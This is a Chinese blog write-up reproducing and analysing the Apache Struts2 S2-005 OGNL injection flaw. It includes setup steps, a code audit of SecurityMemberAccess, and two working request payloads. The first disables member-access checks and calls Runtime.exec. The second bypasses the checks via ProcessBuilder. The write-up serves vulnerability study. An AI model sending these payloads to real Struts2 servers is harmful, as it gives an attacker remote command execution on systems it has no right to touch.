• 『Java安全』Struts2 2.1.8.1 参数名OGNL注入漏洞S2-005(S2-003修复绕过)复现与浅析


    漏洞简介

    S2-005是S2-003的绕过,xwork更新到2.1.6版本;005新增了SecurityMamberAccess功能,但是可以被绕过

    影响范围

    Struts 2.0.0 - 2.1.8.1

    漏洞复现

    环境配置

    https://archive.apache.org/dist/struts/library/struts-2.1.8.1-lib.zip

    保留以下jar包

    在这里插入图片描述
    写一个action

    在这里插入图片描述
    web.xml需要配置

        <filter>
            <filter-name>struts2filter-name>
            <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilterfilter-class>
        filter>
        <filter-mapping>
            <filter-name>struts2filter-name>
            <url-pattern>/*url-pattern>
        filter-mapping>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    环境起不来可以看之前我写的笔记

    复现过程

    向任意action发送请求payload即可

    ?("\u0023_memberAccess.allowStaticMethodAccess\u003dtrue")(aaa)(aaa)&("\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse")(aaa)(aaa)&("\u0023_memberAccess.acceptProperties\u003d@java.util.Collections@EMPTY_SET")(aaa)(aaa)&("\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET")(aaa)(aaa)&("\u0023return\u003d@java.lang.Runtime@getRuntime().exec('calc')")(aaa)(aaa)
    
    • 1

    在这里插入图片描述

    代码审计

    新增参数的黑白名单

    在这里插入图片描述
    具体实现是向OgnlValueStack.securityMemberAccess操作:该对象有一个allowStaticMethodAccess参数,用于开启是否调用静态方法,默认不允许

    允许根据一个成员是否是静态的来做出访问决定。也阻止或允许对属性的访问。

    在这里插入图片描述
    如果OgnlValueStack是root,该参数就会被传入context

    在这里插入图片描述
    这里调用Ognl.createDefaultContext()创建默认上下文,securityMemberAccess起了别名_memberAccess

    在这里插入图片描述
    之后调用Ognl.setMemberAccess()设置传入的_memberAccess,因此要有set方法
    在这里插入图片描述
    在这里插入图片描述
    SecurityMemberAccess.isAccessible()用于判断是否允许方法被调用

    在这里插入图片描述
    isAcceptableProperty()判断黑白名单,要求在白名单且不在黑名单

    在这里插入图片描述
    但是只要黑白名单都为空就能返回false

    在这里插入图片描述

    流程

    • 开启_memberAccess.allowStaticMethodAccess
    • 关闭context[“xwork.MethodAccessor.denyMethodExecution”]
    • _memberAccess.acceptProperties和excludeProperties设置为空
    • 调用Runtime.exec()

    在这里插入图片描述

    开发者的疏忽——再次绕过:通杀利用

    通过分析可以发现:该功能一直在防御静态方法调用,却忽略了动态的情况

    因此只要new ProcessBuilder().start()完全可以绕过以上防御措施

    ?(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)(aaa)(aaa)&(new java.lang.ProcessBuilder(new java.lang.String[]{'calc'}).start())(aaa)(aaa)
    
    • 1

    因此官方把S2-003和005的影响范围都定为了2.1.8.1,凭借此payload实现了通杀

    修复

    下一个版本2.2.1对传入参数进行白名单限制,缓解方法是添加拦截器

    在这里插入图片描述
    但是新版本仍然可以被绕过

    参考

    https://cwiki.apache.org/confluence/display/WW/S2-005
    https://su18.org/post/struts2-1/#s2-005

    欢迎关注我的CSDN博客 :@Ho1aAs
    版权属于:Ho1aAs
    本文链接:https://ho1aas.blog.csdn.net/article/details/126490087
    版权声明:本文为原创,转载时须注明出处及本声明

  • 相关阅读:
    Flutter 小技巧之 3.16 升级最坑 M3 默认适配技巧
    windows vscode搭建CPP环境
    大数据之排序
    同样做软件测试,和月收入 3W 的学弟聊了一晚上,我彻底崩溃了
    【Linux operation 42】Linux 系统的时间
    【面试题】前端开发中如何高效渲染大数据量?
    思想总结
    DRF请求与响应
    能ping通,TCP就一定能连通吗?
    [C++] 哈希的模拟实现---闭散列法(中)
  • 原文地址:https://blog.csdn.net/Xxy605/article/details/126490087